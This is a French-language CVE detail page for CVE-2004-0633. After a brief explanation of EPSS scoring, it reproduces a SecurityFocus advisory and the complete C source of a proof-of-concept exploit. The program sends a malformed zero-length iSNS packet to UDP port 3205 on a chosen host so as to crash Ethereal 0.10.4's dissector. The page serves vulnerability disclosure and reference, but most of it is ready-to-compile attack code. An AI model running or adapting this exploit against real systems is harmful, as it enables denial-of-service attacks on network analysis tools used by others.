CVE-2004-0633 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/10672/info Ethereal 0.10.5 has been released to address multiple vulnerabilities, including an iSNS protocol dissector vulnerability, a SMB protocol dissector vulnerability, and a SNMP protocol dissector vulnerability. These issues are due to a failure of the application to properly handle malformed packets. Successful exploitation of these issues will allow an attacker to cause a denial of service condition in the affected application, it has also been reported that these issues may facilitate arbitrary code execution. /* * Ethereal network protocol analyzer * iSNS Dissector zero-length payload * denial of service vulnerability * proof of concept code * version 1.0 (Aug 05 2004) * CVE ID: CAN-2004-0633 * * by Remi Denis-Courmont < exploit at simphalampin dot com > * http://www.simphalempin.com/dev/ * * Vulnerable: * - Ethereal v0.10.4 * * Not vulnerable: * - Ethereal v0.10.3 and earlier * - Ethereal v0.10.5 * * The code above should cause Ethereal (or tethereal -V) to abort. */ /***************************************************************************** * Copyright (C) 2004 Remi Denis-Courmont. All rights reserved. * * * * Redistribution and use in source and binary forms, with or without * * modification, are permitted provided that the following conditions * * are met: * * 1. Redistributions of source code must retain the above copyright notice, * * this list of conditions and the following disclaimer. * * 2. Redistribution in binary form must reproduce the above copyright * * notice, this list of conditions and the following disclaimer in the * * documentation and/or other materials provided with the distribution. * * * * The author's liability shall not be incurred as a result of loss of due * * the total or partial failure to fulfill anyone's obligations and direct * * or consequential loss due to the software's use or performance. * * * * The current situation as regards scientific and technical know-how at the * * time when this software was distributed did not enable all possible uses * * to be tested and verified, nor for the presence of any or all faults to * * be detected. In this respect, people's attention is drawn to the risks * * associated with loading, using, modifying and/or developing and * * reproducing this software. * * The user shall be responsible for verifying, by any or all means, the * * software's suitability for its requirements, its due and proper * * functioning, and for ensuring that it shall not cause damage to either * * persons or property. * * * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * * * The author does not either expressly or tacitly warrant that this * * software does not infringe any or all third party intellectual right * * relating to a patent, software or to any or all other property right. * * Moreaver, the author shall not hold someone harmless against any or all * * proceedings for infringement that may be instituted in respect of the * * use, modification and redistrbution of this software. * *****************************************************************************/ #include <string.h> #include <stdio.h> #ifndef WIN32 # include <sys/types.h> # include <unistd.h> # include <sys/socket.h> # include <netdb.h> #else # include <winsock2.h> # include <ws2tcpip.h> # define close( fd ) closesocket_clean (fd) # define perror( str ) (void)fprintf (stderr, "%s: Winsock error %d\n", \ str, WSAGetLastError ()) # undef gai_strerror # define gai_strerror( i ) gai_strerror_does_not_link (i) static const char * gai_strerror_does_not_link (int errval) { static char buf[32]; sprintf (buf, "Winsock error %d", errval); return buf; } /* Winsock has the foolish habit of resetting error value to zero */ static int closesocket_clean (int fd) { int errval, retval; errval = WSAGetLastError (); retval = closesocket (fd); if (retval == 0) WSASetLastError (errval); return retval; } #endif static const char packet[] = /* iSNS header */ "\x00\x01" /* Version */ "\x00\x01" /* Function ID */ "\x00\x1c" /* Length */ "\x04\x00" /* Flags: First PDU */ "\x00\x00" /* Transaction ID */ "\x00\x00" /* Sequence ID */ /* iSNS payload */ "\x00\x00\x00\x03" "\x00\x00\x00\x00" /* Length (invalid) */ ; static int proof (const char *target) { int fd; struct addrinfo *res, *ptr, hints; memset (&hints, 0, sizeof (hints)); hints.ai_socktype = SOCK_DGRAM; /* 'd work with TCP too, but UDP is much more straight-forward */ fd = getaddrinfo (target, "3205", &hints, &res); if (fd) { fprintf (stderr, "%s: %s\n", target, gai_strerror (fd)); return -1; } fd = -1; for (ptr = res; ptr != NULL && fd == -1; ptr = ptr->ai_next) { fd = socket (ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (fd == -1) continue; if (connect (fd, ptr->ai_addr, ptr->ai_addrlen)) { close (fd); fd = -1; } } freeaddrinfo (res); if (fd == -1) perror (target); else { size_t len; len = sizeof (packet) - 1; if (send (fd, packet, len, 0) == len) { puts ("Packet sent!"); close (fd); return 0; } perror ("Packet sending error"); close (fd); } return -1; } static int usage (const char *path) { fprintf (stderr, "Usage: %s <hostname/IP>\n", path); return 2; } int main (int argc, char *argv[]) { int retval; puts ("Ethereal iSNS dissector zero-length vulnerability\n" "proof of concept code\n" "Copyright (C) 2004 Remi Denis-Courmont " "<\x65\x78\x70\x6c\x6f\x69\x74\x40\x73\x69\x6d\x70" "\x68\x61\x6c\x65\x6d\x70\x69\x6e\x2e\x63\x6f\x6d>\n"); #ifdef WIN32 WSADATA wsaData; if (WSAStartup (0x202, &wsaData) || wsaData.wVersion != 0x202) { fputs ("Winsock version mismatch!\n", stderr); return 2; } #endif if (argc != 2) return usage (argv[0]); retval = proof (argv[1]) ? 1 : 0; #ifdef WIN32 WSACleanup (); #endif return retval; }